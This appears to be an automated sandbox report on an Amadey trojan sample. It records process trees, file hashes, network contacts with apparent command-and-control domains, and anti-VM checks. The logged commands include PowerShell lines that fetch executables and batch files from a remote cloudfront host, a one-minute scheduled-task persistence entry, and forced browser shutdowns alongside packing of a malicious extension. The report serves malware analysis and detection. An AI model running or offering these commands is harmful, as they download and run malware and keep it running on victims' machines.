"C:\Users\Admin\AppData\Local\Temp\5b750c122fd06716c3fb12b4b94e5e6bd0499a900ea8aac68ae2aa0ddce50a7d.exe"

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

"C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4124,i,5711962389779687290,1245653010537220991,262144 --variations-seed-version --mojo-platform-channel-handle=4136 /prefetch:8

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

"C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe"

C:\Users\Admin\AppData\Local\Temp\1000013001\amers.exe

"C:\Users\Admin\AppData\Local\Temp\1000013001\amers.exe"

C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe

"C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe"

C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe

"C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe"

C:\Windows\SysWOW64\schtasks.exe

"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Newoff.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe" /F

C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe

"C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe"

C:\Users\Admin\AppData\Local\Temp\1000270001\toolspub1.exe

"C:\Users\Admin\AppData\Local\Temp\1000270001\toolspub1.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 5104 -ip 5104

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 5104 -s 352

C:\Users\Admin\AppData\Local\Temp\1000271001\vpn-1002.exe

"C:\Users\Admin\AppData\Local\Temp\1000271001\vpn-1002.exe"

C:\Windows\SysWOW64\cmd.exe

"cmd" /c "C:\Users\Admin\AppData\Local\Temp\nsk513A.tmp\abc.bat"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d22hce23hy1ej9.cloudfront.net/load/th.php?a=2836&c=1002','stat')"

C:\Users\Admin\AppData\Local\Temp\1000014001\df7d5bdcb6.exe

"C:\Users\Admin\AppData\Local\Temp\1000014001\df7d5bdcb6.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d22hce23hy1ej9.cloudfront.net/load/dl.php?id=458&c=1002','i0.exe')"

C:\Users\Admin\AppData\Local\Temp\i0.exe

i0.exe /verysilent /sub=1000

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d22hce23hy1ej9.cloudfront.net/load/dl.php?id=444&c=1002', 'i2.bat')"

C:\Users\Admin\AppData\Local\Temp\is-DV2UL.tmp\i0.tmp

"C:\Users\Admin\AppData\Local\Temp\is-DV2UL.tmp\i0.tmp" /SL5="$F01E4,2859366,899584,C:\Users\Admin\AppData\Local\Temp\i0.exe" /verysilent /sub=1000

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" "C:\Windows\system32\cmd.exe" /S /C ""C:\Program Files\Google\Chrome\Application/chrome.exe" --pack-extension=C:\Users\Admin\AppData\Local\Temp\is-458RP.tmp\vaiubo > "C:\Users\Admin\AppData\Local\Temp\is-458RP.tmp\~execwithresult.txt""

C:\Users\Admin\1000017002\9021ae9550.exe

"C:\Users\Admin\1000017002\9021ae9550.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application/chrome.exe" --pack-extension=C:\Users\Admin\AppData\Local\Temp\is-458RP.tmp\vaiubo

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0x110,0x114,0x118,0xe8,0x11c,0x7ffc070dab58,0x7ffc070dab68,0x7ffc070dab78

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" "C:\Windows\system32\cmd.exe" /S /C ""openssl.exe" rsa -in .\vaiubo.pem -pubout -outform DER > "C:\Users\Admin\AppData\Local\Temp\is-458RP.tmp\~execwithresult.txt""

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" "C:\Windows\system32\cmd.exe" /S /C ""C:\Program Files\Google\Chrome\Application/chrome.exe" --pack-extension=C:\Users\Admin\AppData\Local\Temp\is-458RP.tmp\zbxhun > "C:\Users\Admin\AppData\Local\Temp\is-458RP.tmp\~execwithresult.txt""

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /f /im "msedge.exe"

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /f /im "chrome.exe"

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe

C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe

C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe

C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe

C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe

C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe

C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 91.90.14.23.in-addr.arpa udp
RU 5.42.96.141:80 5.42.96.141 tcp
RU 5.42.96.7:80 5.42.96.7 tcp
US 8.8.8.8:53 73.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 141.96.42.5.in-addr.arpa udp
US 8.8.8.8:53 7.96.42.5.in-addr.arpa udp
BE 88.221.83.187:443 www.bing.com tcp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 187.83.221.88.in-addr.arpa udp
NL 52.142.223.178:80 tcp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
RU 5.42.96.7:80 5.42.96.7 tcp
DE 185.172.128.19:80 185.172.128.19 tcp
DE 185.172.128.19:80 185.172.128.19 tcp
US 8.8.8.8:53 file-file-host6.com udp
RU 31.184.254.98:80 file-file-host6.com tcp
US 8.8.8.8:53 19.128.172.185.in-addr.arpa udp
US 8.8.8.8:53 98.254.184.31.in-addr.arpa udp
US 8.8.8.8:53 roomabolishsnifftwk.shop udp
US 172.67.146.92:443 roomabolishsnifftwk.shop tcp
US 8.8.8.8:53 museumtespaceorsp.shop udp
US 172.67.184.107:443 museumtespaceorsp.shop tcp
US 8.8.8.8:53 buttockdecarderwiso.shop udp
US 172.67.218.187:443 buttockdecarderwiso.shop tcp
US 8.8.8.8:53 92.146.67.172.in-addr.arpa udp
US 8.8.8.8:53 107.184.67.172.in-addr.arpa udp
US 8.8.8.8:53 187.218.67.172.in-addr.arpa udp
US 8.8.8.8:53 averageaattractiionsl.shop udp
US 172.67.220.163:443 averageaattractiionsl.shop tcp
US 8.8.8.8:53 femininiespywageg.shop udp
US 172.67.141.63:443 femininiespywageg.shop tcp
US 8.8.8.8:53 d2csnxzxwctx26.cloudfront.net udp
GB 18.244.183.212:443 d2csnxzxwctx26.cloudfront.net tcp
US 8.8.8.8:53 employhabragaomlsp.shop udp
US 8.8.8.8:53 163.220.67.172.in-addr.arpa udp
US 8.8.8.8:53 63.141.67.172.in-addr.arpa udp
US 8.8.8.8:53 212.183.244.18.in-addr.arpa udp
US 8.8.8.8:53 145.178.204.143.in-addr.arpa udp
US 8.8.8.8:53 113.216.138.108.in-addr.arpa udp
US 172.67.203.218:443 employhabragaomlsp.shop tcp
US 8.8.8.8:53 stalfbaclcalorieeis.shop udp
US 172.67.131.36:443 stalfbaclcalorieeis.shop tcp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 218.203.67.172.in-addr.arpa udp
US 8.8.8.8:53 civilianurinedtsraov.shop udp
US 172.67.197.146:443 civilianurinedtsraov.shop tcp
US 8.8.8.8:53 36.131.67.172.in-addr.arpa udp
US 8.8.8.8:53 146.197.67.172.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 d22hce23hy1ej9.cloudfront.net udp
GB 13.224.246.202:443 d22hce23hy1ej9.cloudfront.net tcp
US 8.8.8.8:53 202.246.224.13.in-addr.arpa udp
GB 13.224.246.202:443 d22hce23hy1ej9.cloudfront.net tcp
US 8.8.8.8:53 cdn-edge-node.com udp
US 104.21.11.117:443 cdn-edge-node.com tcp
US 8.8.8.8:53 adblock2024.shop udp
US 172.67.176.247:443 adblock2024.shop tcp
US 8.8.8.8:53 117.11.21.104.in-addr.arpa udp
GB 13.224.246.202:443 d22hce23hy1ej9.cloudfront.net tcp
BG 94.156.35.76:80 240429000936002.mjt.kqri92.top tcp
US 8.8.8.8:53 247.176.67.172.in-addr.arpa udp
US 8.8.8.8:53 76.35.156.94.in-addr.arpa udp
US 8.8.8.8:53 checkip.amazonaws.com udp
IE 52.49.28.116:443 checkip.amazonaws.com tcp
US 8.8.8.8:53 rep.pe-wok.biz udp
SE 46.21.101.120:80 rep.pe-wok.biz tcp
US 8.8.8.8:53 116.28.49.52.in-addr.arpa udp
US 8.8.8.8:53 120.101.21.46.in-addr.arpa udp
US 8.8.8.8:53 48.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 18.24.18.2.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp

Files

memory/4880-1-0x0000000000580000-0x0000000000AC5000-memory.dmp

memory/4880-3-0x0000000000580000-0x0000000000AC5000-memory.dmp

memory/4880-2-0x0000000000580000-0x0000000000AC5000-memory.dmp

memory/4880-6-0x0000000000580000-0x0000000000AC5000-memory.dmp

memory/4880-7-0x0000000000580000-0x0000000000AC5000-memory.dmp

memory/4880-5-0x0000000000580000-0x0000000000AC5000-memory.dmp

memory/4880-4-0x0000000000580000-0x0000000000AC5000-memory.dmp

memory/4880-0-0x0000000000580000-0x0000000000AC5000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

MD5 7effb02684f927f2ae5eff5890303863
SHA1 7bc34e649ca7c1247fec7e101ff72587f491721f
SHA256 5b750c122fd06716c3fb12b4b94e5e6bd0499a900ea8aac68ae2aa0ddce50a7d
SHA512 bbc93f2b32031a0ad3234ab29be6b8c09b0ae8e12f54ed375055b703d88651d3aa289bca8bfccc72fab18c73bd0b9a75cde298290acc088ae34892e721b2d71e

memory/3900-20-0x0000000000E30000-0x0000000001375000-memory.dmp

memory/3900-24-0x0000000000E30000-0x0000000001375000-memory.dmp

memory/3900-25-0x0000000000E30000-0x0000000001375000-memory.dmp

memory/3900-28-0x0000000000E30000-0x0000000001375000-memory.dmp

memory/3900-27-0x0000000000E30000-0x0000000001375000-memory.dmp

memory/3900-26-0x0000000000E30000-0x0000000001375000-memory.dmp

memory/3900-23-0x0000000000E30000-0x0000000001375000-memory.dmp

memory/4880-21-0x0000000000580000-0x0000000000AC5000-memory.dmp

memory/3900-22-0x0000000000E30000-0x0000000001375000-memory.dmp

memory/780-30-0x0000000000E30000-0x0000000001375000-memory.dmp

memory/780-34-0x0000000000E30000-0x0000000001375000-memory.dmp

memory/780-33-0x0000000000E30000-0x0000000001375000-memory.dmp

memory/780-37-0x0000000000E30000-0x0000000001375000-memory.dmp

memory/780-36-0x0000000000E30000-0x0000000001375000-memory.dmp

memory/780-35-0x0000000000E30000-0x0000000001375000-memory.dmp

memory/780-32-0x0000000000E30000-0x0000000001375000-memory.dmp

memory/780-31-0x0000000000E30000-0x0000000001375000-memory.dmp

memory/780-39-0x0000000000E30000-0x0000000001375000-memory.dmp

memory/3900-42-0x0000000000E30000-0x0000000001375000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000013001\amers.exe

MD5 ead4df0caca5cc714d732b550d6ce4dc
SHA1 95339b71e12cc4cb13ac9fe06601fcdccbe403ca
SHA256 88304e26e54cd91d80d6342a344c6e16940583c906dff5ed3e91c67283871c88
SHA512 1217ade995ffe1b062332ec3a5fb14155e7f9af46bed716406b26badb50f1bc80d551fe7fd0796be08c62ce976449ce473799c1bec18ce85350ec119545d973a

memory/4972-58-0x0000000000070000-0x0000000000522000-memory.dmp

memory/2076-71-0x0000000000A80000-0x0000000000F32000-memory.dmp

memory/4972-73-0x0000000000070000-0x0000000000522000-memory.dmp

memory/3900-69-0x0000000000E30000-0x0000000001375000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe

MD5 0099a99f5ffb3c3ae78af0084136fab3
SHA1 0205a065728a9ec1133e8a372b1e3864df776e8c
SHA256 919ae827ff59fcbe3dbaea9e62855a4d27690818189f696cfb5916a88c823226
SHA512 5ac4f3265c7dd7d172284fb28c94f8fc6428c27853e70989f4ec4208f9897be91720e8eee1906d8e843ab05798f3279a12492a32e8a118f5621ac5e1be2031b6

C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe

MD5 c4ffab152141150528716daa608d5b92
SHA1 a48d3aecc0e986b6c4369b9d4cfffb08b53aed89
SHA256 c28de1802bdbcf51c88cd1a4ac5c1decb0558fa213d83833cf5dbd990b9ae475
SHA512 a225e98f2bc27e2add9d34bd850e0e66a27bd1db757c979639a636a6efe412e638025c6e235c36188a24c9af2bde4b17d1dbaa0707dce11411402cd5de8024e9

C:\Users\Admin\AppData\Local\Temp\1000270001\toolspub1.exe

MD5 10e9648c3c9c3f6985e5962cdc795f21
SHA1 a23f89036f056b967dfb6d8c8632d4e3d56d2258
SHA256 0d3928bbe9db17a0bd0ce3454c39362b60f26c1613cc8d488f69f81fbf2868c1
SHA512 6c597f9278fce6d03d3aabaace82e2c6dd3afac291b484c525aeb264f9d6a6041d415ca60bac4569ca4dcd605c741f56757323fe3e20dc6978adb703ec158d6f

memory/2556-121-0x0000000000BD0000-0x0000000000BD1000-memory.dmp

memory/2556-123-0x0000000000BD0000-0x0000000000BD1000-memory.dmp

memory/1568-122-0x0000000000400000-0x0000000000455000-memory.dmp

memory/1568-124-0x0000000000400000-0x0000000000455000-memory.dmp

memory/5104-125-0x0000000000400000-0x0000000002350000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000271001\vpn-1002.exe

MD5 ccb630a81a660920182d1c74b8db7519
SHA1 7bd1f7855722a82621b30dd96a651f22f7b0bf8a
SHA256 a73dc535324b73ab10c09ed2b965fc1b504a828f6059ddf99e26b9c03642a346
SHA512 8fd536da55b8e2a514bcea9cbe62492af1168b7713ea5955f3af8fcfa8060eac4ee079022380ab5ba5f9f7610a595981ed2f472fb14d569ac82057c50a785811

C:\Users\Admin\AppData\Local\Temp\nsk513A.tmp\INetC.dll

MD5 40d7eca32b2f4d29db98715dd45bfac5
SHA1 124df3f617f562e46095776454e1c0c7bb791cc7
SHA256 85e03805f90f72257dd41bfdaa186237218bbb0ec410ad3b6576a88ea11dccb9
SHA512 5fd4f516ce23fb7e705e150d5c1c93fc7133694ba495fb73101674a528883a013a34ab258083aa7ce6072973b067a605158316a4c9159c1b4d765761f91c513d

C:\Users\Admin\AppData\Local\Temp\nsk513A.tmp\abc.bat

MD5 f79d850a439815f276773a85f654511d
SHA1 42c4b202b7122ce48bb17975cf0a5be337d09fec
SHA256 31b4234965ffbff8d8a2d9dc8876d2edb1ba4eb44f482fedad5ed16284f872ff
SHA512 5ea67fac41596652b0eeaf1f8d4e01fb6d2f2495c7e7185c22e7cac5187d3fc5d02e1649710c0ef30419c6b2805c4d947cf39eab5f31d8f0b72cf3e37e3a507c

memory/4404-158-0x00000000032E0000-0x0000000003316000-memory.dmp

memory/4404-159-0x0000000005C00000-0x0000000006228000-memory.dmp

memory/4404-160-0x0000000005A00000-0x0000000005A22000-memory.dmp

memory/4404-161-0x0000000006230000-0x0000000006296000-memory.dmp

memory/4404-162-0x00000000062A0000-0x0000000006306000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_enovbc0r.04h.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4404-172-0x0000000006310000-0x0000000006664000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1000014001\df7d5bdcb6.exe

MD5 6ed02fa15ed05b4835422c2d35fb7a14
SHA1 623aeac85f2e4377efc048677f606e8c33b6f41b
SHA256 af8a247e77859c365b5ac69c29af74dbff6ba3bcb979e27bfe46ad3701889ac4
SHA512 484f3a87cb4dcc157328a3b5ca179af457a8487237f447947dbde8c02de62f0c1c80f37840373016c881a25243fe8793a279c9f3689e834618160b98e450e75f

memory/4560-191-0x0000000000360000-0x00000000009DE000-memory.dmp

memory/4560-192-0x0000000000360000-0x00000000009DE000-memory.dmp

memory/4560-197-0x0000000000360000-0x00000000009DE000-memory.dmp

memory/4560-196-0x0000000000360000-0x00000000009DE000-memory.dmp

memory/4560-193-0x0000000000360000-0x00000000009DE000-memory.dmp

memory/4404-195-0x0000000006900000-0x000000000694C000-memory.dmp

memory/4404-194-0x00000000068C0000-0x00000000068DE000-memory.dmp

memory/4560-199-0x0000000000360000-0x00000000009DE000-memory.dmp

memory/4560-201-0x0000000000360000-0x00000000009DE000-memory.dmp

memory/4560-200-0x0000000000360000-0x00000000009DE000-memory.dmp

memory/4560-198-0x0000000000360000-0x00000000009DE000-memory.dmp

memory/4404-202-0x0000000008100000-0x000000000877A000-memory.dmp

memory/4404-203-0x0000000006E00000-0x0000000006E1A000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

MD5 4280e36a29fa31c01e4d8b2ba726a0d8
SHA1 c485c2c9ce0a99747b18d899b71dfa9a64dabe32
SHA256 e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359
SHA512 494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4

memory/4248-207-0x0000000005D30000-0x0000000006084000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 20a1ad83656f072e000562cb2b0c90dc
SHA1 8b3dfbf68df5416b9419262e614798090283df91
SHA256 8005382d2967b4543fcb0db9b258e4bacef3bff5ef2735eb7c1d15532a4015f8
SHA512 402927293c45f53d44108cbedee1ee5cdc4a47f3b01e548ab20a5cc9eecf8603926736f3c874a7553fa7fc300363be2a7dd76f8a1ef7fffd8dc4ed700143fc36

memory/4248-218-0x0000000006450000-0x000000000649C000-memory.dmp

memory/3900-219-0x0000000000E30000-0x0000000001375000-memory.dmp

memory/2076-220-0x0000000000A80000-0x0000000000F32000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\i0.exe

MD5 b80362872ea704846e892f16aab924c3
SHA1 222b36b97d7978929c6fd2d3b1ff8bd8504a5a33
SHA256 d42c001c3cf58d276a5bf52eb8a56158343676a18952b94d6de8c1e8127bf91e
SHA512 beadabff22437031fd2df2748527f60d67249abefa1afdedef233ce56ad54cb675835c849ecaa8248e0e2e597b13754b0c0611504818e700a59b4727fb4bc7a5

memory/4084-225-0x0000000000400000-0x00000000004E9000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\is-DV2UL.tmp\i0.tmp

MD5 bdf5432c7470916ab3c25f031c4c8d76
SHA1 4762eeae811cfad7449a3d13fb1d759932c6d764
SHA256 72f7dbc5502cfce6de9184df4466a84fbbaa828048a183b0eb1690e79c886903
SHA512 33ff33582f75a67602233860d3057122a4f893d3ec3b58204617660ec46d1afd25657047f364c06f727e1604907e9cb740dc847b992249d0656100308c4bedde

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 cf9b6da1b5cc998201c895b075c61363
SHA1 658abf874d9ee08d5a64d9bac3a92127f9a46d86
SHA256 709918f0dd6f88ff43e8ec918ed50319b4fd56e9b283b73c07d6307a3f7c6fd3
SHA512 12e9d916594cf4112e6afd64fe8e9fd47716ede56ad115842300b4f11b59346a800d4d6bd608aa54459a69ff90b7d1c1bb87ca2ae798baf9b0ef5f51532788b8

memory/4720-242-0x0000000006630000-0x000000000667C000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\is-458RP.tmp\chrome.zip

MD5 52311257a997455c0a32e1679e0b614e
SHA1 395c475df7403e12651c8b6b1d52c33e5d7f3320
SHA256 50a78e3d21eea2c5a784eca08d5b4b0f2e4684fe8194a5bf0304c8ca6b18bddd
SHA512 19488ccb7d6cbf5e33ab492bd23bcdcd2edaa739ee808c4c5337fb27a0eb4e2632f2af6b2c8546127e20ac2d7a9cd94ffaa833d404fba0ab11ef7e0b301268a0

memory/5008-331-0x0000000000840000-0x0000000000CF2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\is-458RP.tmp\vaiubo\manifest.json

MD5 1d47eb945d1299c0e53bcada476d32b3
SHA1 509f9041f7e2a14402915feb4f2a739cfac5636b
SHA256 0a40fc9c57498f6fa92f5d52688f3cf55ecc607d7d91be7997412105def9278a
SHA512 6d20d3855225ee48373ee1ae19d5cecf90951a507c9c1d23d86fe0bb4f73def9545f0fd18ce821a3d63fa636b06d08a52a41c0f3a3cb2edc20d8ef92919b4258

C:\Users\Admin\AppData\Local\Temp\is-458RP.tmp\vaiubo\icons\icon-34.png

MD5 ca00972a17d51a3e6a28cfc8711474e4
SHA1 c806ba3bcfb0b785aa4804843d332f425c66b7e0
SHA256 fb5b73939e6a24b68f5780168cbef56c520a95c86b3daf0d6ae3fd6f70ead1aa
SHA512 9731e6e583fdcb148f3ed46daa1749a8217124541f2f925b10692100488e30ab50bf6e212b9a4a335d25c673381b11604ddb72830d502589d431342685277516

C:\Users\Admin\AppData\Local\Temp\is-458RP.tmp\vaiubo\icons\icon-128.png

MD5 d57a101cf48bd00b5297596c081ece42
SHA1 47be9ca3d2a57788957bb6f91d9a6886c4252c0f
SHA256 a47dfbb6b7b40189b6cbed618537292e8e447bf376d37b34c4b38e87bf398bf5
SHA512 7110cf64ee0cabe13d49a31b84e5efecee89acb393cceff1d5ab9f18a2fbcd7930008fbcfe94b5324d35b90ce7102dcb62e14f81614dd579a64ba4ba8d339eb5

C:\Users\Admin\AppData\Local\Temp\is-458RP.tmp\vaiubo\js\background.js

MD5 432c4c1300ba1c077fbd681f9667a104
SHA1 33482cd9df3a5ae20ad7f978f51bd35d2453c9ba
SHA256 adeb84b81042b094ffcfd21ca8c8c33b1a031ef02dc6a64604393197ff075f04
SHA512 0ab8f623e52550e8c06b385080cbfbe5377d0d718094d2c9436d910b17d86f9dcc4c722da419705604f38d26cdd0b524ef64d27abc58a66c9b24b660275cd2ad

C:\Users\Admin\AppData\Local\Temp\is-458RP.tmp\dlls.manifest

MD5 963fb7657217be957d7d4732d892e55c
SHA1 593578a69d1044a896eb8ec2da856e94d359ef6b
SHA256 1d4a8c5e18d7a189036f1074ffae7927b0450864f5c8622a44205e04ef13ce12
SHA512 f875fa56bcda6299681d2ca2852d5ae04504b1df8d8824170215d4c136a568fc2548ada88ea75178ce23b4649f1713a863926c4d02125cb29475251bf5781fdd

C:\Users\Admin\AppData\Local\Temp\is-458RP.tmp\edge.zip

MD5 11a38af0ad330d95d2fb709612a44fa5
SHA1 bc173e51491e8ddbd88d35d03a88d91e47f4dc54
SHA256 0d82a391c8676e5bc07f7e91da281ad338a9cea8130f4ee81949fa418cc19970
SHA512 4bc5d99e14892b5f88ea15da5b6d02cd8131bf25e2990cdc1f88accca2cb984a547e58ac850fe15323d4a5752e0194ecea73acfb2cbab6769ac06e9002d4bad9

C:\Users\Admin\AppData\Local\Temp\is-458RP.tmp\shlwapi.dll

MD5 4cac70c3fdb075424b58b220b4835c09
SHA1 651e43187c41994fd8f58f11d8011c4064388c89
SHA256 4094f54853d9eea9fb628e2207cd95042bae089711908d1c8ed189fad9448e2b
SHA512 810e97be3d47c67449a6049b52578f4f8dd829b62d015dde39c2a2381c481625540f945e06224b9c74e0deac089f6cd352f53343170138778c1f9e62e7518963

memory/5008-460-0x0000000000840000-0x0000000000CF2000-memory.dmp

memory/4560-461-0x0000000000360000-0x00000000009DE000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\is-458RP.tmp\vaiubo.pem

MD5 9d2d09a482f6ea6cebe375b0017c0799
SHA1 747da69cad215c434a4e614020819a99b60de42c
SHA256 071f75bb61af8fedda1381a7adbc74db236d8ba4de4fd79745aba6d7b3828ca3
SHA512 d6b9da26cb3ed3437045802443a2af61bae5782d9dea4c8057f95212785db5c119914236b44990cc0dbc8ce1c3b33097aef2028a5a95738ea41df2d647b1fc99

C:\Users\Admin\AppData\Local\Temp\is-458RP.tmp\vaiubo.crx

MD5 e7977200626323ff9c0d9a0919f5c7c6
SHA1 af0b697920fd94bb67153c811f4c1ad6a150cafc
SHA256 b62369cd8aba1063de5b8612b7e53bbd856d44d2f50c318b1480b5af082f8267
SHA512 cd5b545dca3f231f01043ad27a92d0a560fe26067e28f8a4623c7e8c477ea10d72f256257d6e011b6468bc7c01e5a3e9f9190b9b73cf5753ae49c400896e9c9a

memory/2624-485-0x0000000000400000-0x000000000072C000-memory.dmp

memory/4084-486-0x0000000000400000-0x00000000004E9000-memory.dmp

memory/3900-490-0x0000000000E30000-0x0000000001375000-memory.dmp

memory/2076-491-0x0000000000A80000-0x0000000000F32000-memory.dmp

memory/2076-493-0x0000000000A80000-0x0000000000F32000-memory.dmp

memory/2076-495-0x0000000000A80000-0x0000000000F32000-memory.dmp

memory/2076-498-0x0000000000A80000-0x0000000000F32000-memory.dmp

memory/744-503-0x0000000000E30000-0x0000000001375000-memory.dmp

memory/744-509-0x0000000000E30000-0x0000000001375000-memory.dmp

memory/744-507-0x0000000000E30000-0x0000000001375000-memory.dmp

memory/744-506-0x0000000000E30000-0x0000000001375000-memory.dmp

memory/744-505-0x0000000000E30000-0x0000000001375000-memory.dmp

memory/1100-504-0x0000000000A80000-0x0000000000F32000-memory.dmp

memory/744-508-0x0000000000E30000-0x0000000001375000-memory.dmp

memory/744-502-0x0000000000E30000-0x0000000001375000-memory.dmp

memory/744-501-0x0000000000E30000-0x0000000001375000-memory.dmp

memory/744-511-0x0000000000E30000-0x0000000001375000-memory.dmp

memory/1100-513-0x0000000000A80000-0x0000000000F32000-memory.dmp

memory/4992-538-0x0000000000A80000-0x0000000000F32000-memory.dmp

memory/1220-537-0x0000000000E30000-0x0000000001375000-memory.dmp

memory/1220-545-0x0000000000E30000-0x0000000001375000-memory.dmp

memory/4992-547-0x0000000000A80000-0x0000000000F32000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-19 16:05

Reported

2024-05-19 16:08

Platform

win11-20240508-en

Max time kernel

143s

Max time network

114s

Command Line

"C:\Users\Admin\AppData\Local\Temp\5b750c122fd06716c3fb12b4b94e5e6bd0499a900ea8aac68ae2aa0ddce50a7d.exe"

Signatures

Amadey

trojan amadey

Identifies VirtualBox via ACPI registry values (likely anti-VM)

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\5b750c122fd06716c3fb12b4b94e5e6bd0499a900ea8aac68ae2aa0ddce50a7d.exe N/A
